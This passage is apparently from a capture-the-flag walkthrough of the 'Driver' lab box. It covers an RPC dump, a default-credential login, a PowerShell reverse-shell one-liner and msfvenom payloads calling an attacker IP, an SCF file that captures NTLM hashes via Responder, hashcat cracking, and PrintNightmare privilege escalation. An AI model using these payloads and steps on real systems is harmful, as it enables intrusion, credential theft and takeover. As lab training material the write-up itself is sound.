0767A036-0D22-48AA-BA69-B619480F38CB v1.0 PcaSvc Bindings: ncalrpc:[LRPC-ed90070979a053fea8] Protocol: [MS-SCMR]: Service Control Manager Remote Protocol Provider: services.exe UUID : 367ABB81-9844-35F1-AD32-98F038001003 v2.0 Bindings: ncacn_ip_tcp:10.10.11.106[49412] Protocol: [MS-CMPO]: MSDTC Connection Manager: Provider: msdtcprx.dll UUID : 906B0CE0-C70B-1067-B317-00DD010662DA v1.0 Bindings: ncalrpc:[LRPC-bdc3bdfc724c2685b2] ncalrpc:[OLEB493C1FC039301ECA39AC4409E1B] ncalrpc:[LRPC-db60ed6a1f3ae05493] ncalrpc:[LRPC-db60ed6a1f3ae05493] ncalrpc:[LRPC-db60ed6a1f3ae05493] Protocol: N/A Provider: winlogon.exe UUID : 12E65DD8-887F-41EF-91BF-8D816C42C2E7 v1.0 Secure Desktop LRPC interface Bindings: ncalrpc:[WMsgKRpc0778F1] Protocol: N/A Provider: N/A UUID : 51A227AE-825B-41F2-B4A9-1AC9557A1018 v1.0 Ngc Pop Key Service Bindings: ncacn_ip_tcp:10.10.11.106[49413] ncalrpc:[Vault] ncalrpc:[samss lpc] ncalrpc:[SidKey Local End Point] ncalrpc:[protected_storage] ncalrpc:[lsasspirpc] ncalrpc:[lsapolicylookup] ncalrpc:[LSA_EAS_ENDPOINT] ncalrpc:[LSA_IDPEXT_ENDPOINT] ncalrpc:[lsacap] ncalrpc:[LSARPC_ENDPOINT] ncalrpc:[securityevent] ncalrpc:[audit] ncacn_np:\\DRIVER[\pipe\lsass] Protocol: N/A Provider: N/A UUID : 8FB74744-B2FF-4C00-BE0D-9EF9A191FE1B v1.0 Ngc Pop Key Service Bindings: ncacn_ip_tcp:10.10.11.106[49413] ncalrpc:[Vault] ncalrpc:[samss lpc] ncalrpc:[SidKey Local End Point] ncalrpc:[protected_storage] ncalrpc:[lsasspirpc] ncalrpc:[lsapolicylookup] ncalrpc:[LSA_EAS_ENDPOINT] ncalrpc:[LSA_IDPEXT_ENDPOINT] ncalrpc:[lsacap] ncalrpc:[LSARPC_ENDPOINT] ncalrpc:[securityevent] ncalrpc:[audit] ncacn_np:\\DRIVER[\pipe\lsass] Protocol: N/A Provider: N/A UUID : B25A52BF-E5DD-4F4A-AEA6-8CA7272A0E86 v2.0 KeyIso Bindings: ncacn_ip_tcp:10.10.11.106[49413] ncalrpc:[Vault] ncalrpc:[samss lpc] ncalrpc:[SidKey Local End Point] ncalrpc:[protected_storage] ncalrpc:[lsasspirpc] ncalrpc:[lsapolicylookup] ncalrpc:[LSA_EAS_ENDPOINT] ncalrpc:[LSA_IDPEXT_ENDPOINT] ncalrpc:[lsacap] ncalrpc:[LSARPC_ENDPOINT] ncalrpc:[securityevent] ncalrpc:[audit] ncacn_np:\\DRIVER[\pipe\lsass] Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol Provider: samsrv.dll UUID : 12345778-1234-ABCD-EF00-0123456789AC v1.0 Bindings: ncacn_ip_tcp:10.10.11.106[49413] ncalrpc:[Vault] ncalrpc:[samss lpc] ncalrpc:[SidKey Local End Point] ncalrpc:[protected_storage] ncalrpc:[lsasspirpc] ncalrpc:[lsapolicylookup] ncalrpc:[LSA_EAS_ENDPOINT] ncalrpc:[LSA_IDPEXT_ENDPOINT] ncalrpc:[lsacap] ncalrpc:[LSARPC_ENDPOINT] ncalrpc:[securityevent] ncalrpc:[audit] ncacn_np:\\DRIVER[\pipe\lsass] Protocol: N/A Provider: N/A UUID : B1EF227E-DFA5-421E-82BB-67A6A129C496 v0.0 Bindings: ncalrpc:[LRPC-e99fa16933e0bebb62] ncalrpc:[OLEF25C5DE28A8B9DAA873E498D59E4] Protocol: N/A Provider: N/A UUID : 0FC77B1A-95D8-4A2E-A0C0-CFF54237462B v0.0 Bindings: ncalrpc:[LRPC-e99fa16933e0bebb62] ncalrpc:[OLEF25C5DE28A8B9DAA873E498D59E4] Protocol: N/A Provider: N/A UUID : 8EC21E98-B5CE-4916-A3D6-449FA428A007 v0.0 Bindings: ncalrpc:[LRPC-e99fa16933e0bebb62] ncalrpc:[OLEF25C5DE28A8B9DAA873E498D59E4] Protocol: N/A Provider: N/A UUID : 64D1D045-F675-460B-8A94-570246B36DAB v1.0 CLIPSVC Default RPC Interface Bindings: ncalrpc:[ClipServiceTransportEndpoint-00001] Protocol: N/A Provider: N/A UUID : 923C9623-DB7F-4B34-9E6D-E86580F8CA2A v1.0 Bindings: ncalrpc:[LRPC-d66fecd28401c0d1c3] Protocol: N/A Provider: N/A UUID : 0C53AA2E-FB1C-49C5-BFB6-C54F8E5857CD v1.0 Bindings: ncalrpc:[LRPC-d66fecd28401c0d1c3] Protocol: N/A Provider: N/A UUID : D2716E94-25CB-4820-BC15-537866578562 v1.0 Bindings: ncalrpc:[LRPC-d66fecd28401c0d1c3] [*] Received 468 endpoints. We can look at some of the more notable interfaces, but right now this doesn’t seem to give a way forward. Time to look at the website Ahh, we are halted in our tracks by password request, as it’s always worth trying a few simple combinations we give it a go, and very quickly we find admin:admin lets us in Not much of note on this page, we can see a host name at the footer, driver.htb and of the links at the top there is one working, ‘Firmware Updates’ On this page we find an upload form, a commonly abusable feature. Let’s test it and see can we find a vulnerability. We make, and upload, a simple (empty) .php file and see what happens It uploads without an issue, so the site isn’t checking file extensions or file contents it appears. That’s a good start. Now let’s try creating a reverse powershell shell using revshells.com and store it rob:Driver/ $ echo 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.14.6",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' powerrevshell.ps1 And now upload this file and see if the ‘testing team’ will run it. Again, the upload goes flawlessly and we wait for a while to see if a cronjob will pick it up and execute it. A few minutes later though we don’t get anything at our waiting listener, so we can assume that we either didn’t send what we needed to, or perhaps the shell didn’t work - it wasn’t encoded or anything, so it may have been caught by Defender Next we’ll create a binary reverse shell with msfvenom and try that, but again, no reverse shell returns to us rob:Driver/ $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=1234 -f exe -e x86/shikata_ga_nai -o reverse.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 487 (iteration=0) x86/shikata_ga_nai chosen with final size 487 Payload size: 487 bytes Final size of exe file: 7168 bytes Saved as: reverse.exe Lastly we try a meterpreter shell as well, just in case a staged payload is more effective, but no, nothing. This is obviously not the way (or, we’re not doing it right 😄) rob:Driver/ $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=1234 -f exe -e x86/shikata_ga_nai -o reverse.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 381 (iteration=0) x86/shikata_ga_nai chosen with final size 381 Payload size: 381 bytes Final size of exe file: 73802 bytes Saved as: reverse.exe Inspired by the web site text Select printer model and upload the respective firmware update to our file share we work our way through the SMB pentesting suggestions offered by hacktricks.xyz we finally come to the SMB Relay attack which seems like an interesting approach to try. We start up responder and upload a file rob:~/ $ sudo responder -I tun0 --lm -Pv [sudo] password for rob: __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.1.1.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] MDNS [ON] DNS [ON] DHCP [OFF] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [ON] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [ON] Force ESS downgrade [ON] [+] Generic Options: Responder NIC [tun0] Responder IP [10.10.14.18] Responder IPv6 [dead:beef:2::1010] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Current Session Variables: Responder Machine Name [WIN-ZX6PI88A2GP] Responder Domain Name [FQ8R.LOCAL] Responder DCE-RPC Port [46523] [+] Listening for events... And we get nothing… this is possibly because the user and the share are on the same machine, there’s no reason for anything to be sent over the network… Ok, that won’t work However a little more googling finds something that might work, a SCF File attack. This will still capture traffic in responder but we can use a particular file type to trigger that the traffic is send First we need to prepare an SCF file rob:Driver/ $ cat firmware.scf [Shell] Command=2 IconFile=\\10.10.14.18\share\pentestlab.ico [Taskbar] Command=ToggleDesktop And now we upload it and wait, not for very long tbh, very prompt checkers! [SMB] NTLMv2 Client : ::ffff:10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:2fd5f7ab213f3d53:709C2265D6E41807225D63427A6C0D87:0101000000000000445510DB770ED80192F820B8737FB12400000000020000000000000000000000 [SMB] NTLMv2 Client : ::ffff:10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:329f5be6e382ab7b:50470F2ECD5E67004082DC00013C687B:0101000000000000E0A01EDB770ED801798EB19DE6B6BFD300000000020000000000000000000000 [SMB] NTLMv2 Client : ::ffff:10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:b381831d5172a318:07C66E6FB98C2188451A5782434BEE5E:010100000000000087172DDB770ED801C415C18C67BD2AC200000000020000000000000000000000 [SMB] NTLMv2 Client : ::ffff:10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:50b5211fa81f8ef5:0119C5DCCE5BE9933E3EEE040DE0E9AD:0101000000000000633E3BDB770ED801C617ABB359D7B2B500000000020000000000000000000000 [SMB] NTLMv2 Client : ::ffff:10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:d67cbbe783b6450f:51A1DA9E45295E2163243D5BD963497B:0101000000000000642947DB770ED801A00CE726DD7AC22000000000020000000000000000000000 [SMB] NTLMv2 Client : ::ffff:10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:cb2653c4416f5ead:BDA68B06F0AA29FE224F833454478579:0101000000000000C37D55DB770ED8012330C6A420E9B29400000000020000000000000000000000 [SMB] NTLMv2 Client : ::ffff:10.10.11.106 [SMB] NTLMv2 Username : DRIVER\tony [SMB] NTLMv2 Hash : tony::DRIVER:36ea3a0de46fda52:270EACFCB85ADA0913CD6859C90E61D6:0101000000000000656361DB770ED801F2B80D0BCF1435E100000000020000000000000000000000 If we take this hash now and drop it in a file, let’s see if hashcat can crack it rob:Driver/ $ echo 'tony::DRIVER:36ea3a0de46fda52:270EACFCB85ADA0913CD6859C90E61D6:0101000000000000656361DB770ED801F2B80D0BCF1435E100000000020000000000000000000000' tony.hash rob:Driver/ $ hashcat -m5600 tony.hash /usr/share/wordlists/rockyou.txt hashcat (v6.2.5) starting OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ===================================================================================================================================== * Device #1: pthread-AMD Ryzen 7 2700X Eight-Core Processor, 4931/9926 MB (2048 MB allocatable), 8MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 2 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 TONY::DRIVER:36ea3a0de46fda52:270eacfcb85ada0913cd6859c90e61d6:0101000000000000656361db770ed801f2b80d0bcf1435e100000000020000000000000000000000:liltony Session..........: hashcat Status...........: Cracked Hash.Mode........: 5600 (NetNTLMv2) Hash.Target......: TONY::DRIVER:36ea3a0de46fda52:270eacfcb85ada0913cd6...000000 Time.Started.....: Thu Jan 20 20:45:06 2022 (0 secs) Time.Estimated...: Thu Jan 20 20:45:06 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 3092.6 kH/s (1.03ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 32768/14344385 (0.23%) Rejected.........: 0/32768 (0.00%) Restore.Point....: 24576/14344385 (0.17%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: 280690 - eatme1 Hardware.Mon.#1..: Util: 12% Started: Thu Jan 20 20:44:46 2022 Stopped: Thu Jan 20 20:45:08 2022 And it can, we have credentials, tony:liltony Let’s see then if we can get a shell rob:Driver/ $ /opt/evil-winrm/evil-winrm.rb -i 10.10.11.106 -u tony -p liltony -n Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\tony\Documents whoami driver\tony And we’re in! User tony First we can grab the user flag *Evil-WinRM* PS C:\Users\tony\Desktop type user.txt `REDACTED` We have just about the minimum amount of users *Evil-WinRM* PS C:\Users\tony\Documents net users User accounts for \\ ------------------------------------------------------------------------------- Administrator DefaultAccount Guest tony The command completed with one or more errors. Everything from the name of the box to the printer driver details revealed in our RPC enumeration, and on to the RICOH printer drivers we can find in \temp and the very recent addition of another CVE or two to the PrintNightmare ‘suite’ of vulnerabilities, makes this exploit worth a try. We’ll use WinPwn to attempt this as it makes life a lot easier! First we need to set our execution policy to allow the execution of scripts and then import our powershell file. We use the offline version as the target has no internet connection *Evil-WinRM* PS C:\Users\tony\Documents set-executionpolicy -executionPolicy unrestricted -scope currentuser *Evil-WinRM* PS C:\Users\tony\Documents Import-Module .\Offline_WinPwn.ps1 Now we can launch the printnightmare exploit *Evil-WinRM* PS C:\Users\tony\Documents printnightmare [+] Adding new user: CrFgATJh [+] Using the password: Sp00l-Pwned! [+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll [+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll" [+] added user CrFgATJh as local administrator [+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll And that seems to have completed. We can now try logging in with these new user credentials and see do we have administrative access rob:Driver/ $ /opt/evil-winrm/evil-winrm.rb -i 10.10.11.106 -u CrFgATJh -p Sp00l-Pwned! -n -s /opt/WinPwn/ Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\CrFgATJh\Documents whoami driver\crfgatjh So far so good, let’s see if we can access the flag *Evil-WinRM* PS C:\Users\CrFgATJh\Documents cd c:\users\administrator\desktop *Evil-WinRM* PS C:\users\administrator\desktop dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 1/20/2022 6:57 PM 34 root.txt *Evil-WinRM* PS C:\users\administrator\desktop type root.txt `REDACTED` Bingo, we have it, box done! div#hugo-encrypt-sha1sum {display: none;} const storageKey = location.pathname + "password"; const userStorage = window['sessionStorage'] ; function str2buf(str) { return new TextEncoder("utf-8").encode(str); } function buf2str(buffer) { return new TextDecoder("utf-8").decode(buffer); } function hex2buf(hexStr) { return new Uint8Array(hexStr.match(/.{2}/g).map(h = parseInt(h, 16))); } function deriveKey(passphrase, salt) { salt = salt || crypto.getRandomValues(new Uint8Array(8)); return crypto.subtle .importKey("raw", str2buf(passphrase), "PBKDF2", false, ["deriveKey"]) .then(key = crypto.subtle.deriveKey( { name: "PBKDF2", salt, iterations: 1000, hash: "SHA-256" }, key, { name: "AES-GCM", length: 256 }, false, ["encrypt", "decrypt"], ), ) .then(key = [key, salt]); } function decrypt(passphrase, saltIvCipherHex) { const [salt, iv, data] = saltIvCipherHex.split("-").map(hex2buf); return deriveKey(passphrase, salt) .then(([key]) = crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data)) .then(v = buf2str(new Uint8Array(v))); } async function digestMessage(message) { const msgUint8 = new TextEncoder().encode(message); const hashBuffer = await crypto.subtle.digest('SHA-1', msgUint8); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray.map(b = b.toString(16).padStart(2, '0')).join(''); return hashHex; } const hugoDecrypt = function(password, type) { for (const cipher of ciphers) { decrypt(password, cipher.innerText).then(function(decrypted_text) { digestMessage(decrypted_text.replace(/\r?\n?[^\r\n]*$/, "")).then(function(sha1_sum) { if ( decrypted_text.includes(sha1_sum) ) { document.getElementById("hugo-encrypt-encryption-notice").remove(); cipher.outerHTML = decrypted_text; userStorage.setItem(storageKey, password); document.getElementById("hugo-encrypt-sha1sum").innerHTML = "Success: " + sha1_sum; console.log("Decryption successful. Storing password in sessionStorage."); } }); }).catch(function(error) { if (type === "input") { document.getElementById("hugo-encrypt-input-response").innerHTML = "Password is incorrect"; console.log('Password is incorrect', error); } else if (type === "storage") { userStorage.removeItem(location.pathname + "password"); console.log("Password changed. Clearing userStorage.", error); } }); } }; window.onload = () = { ciphers = Array.from(document.querySelectorAll("cipher-text")); if (userStorage.getItem(storageKey)) { console.log("Found storageKey in userStorage. Attemtping decryption"); hugoDecrypt(userStorage.getItem(storageKey), "storage"); } };
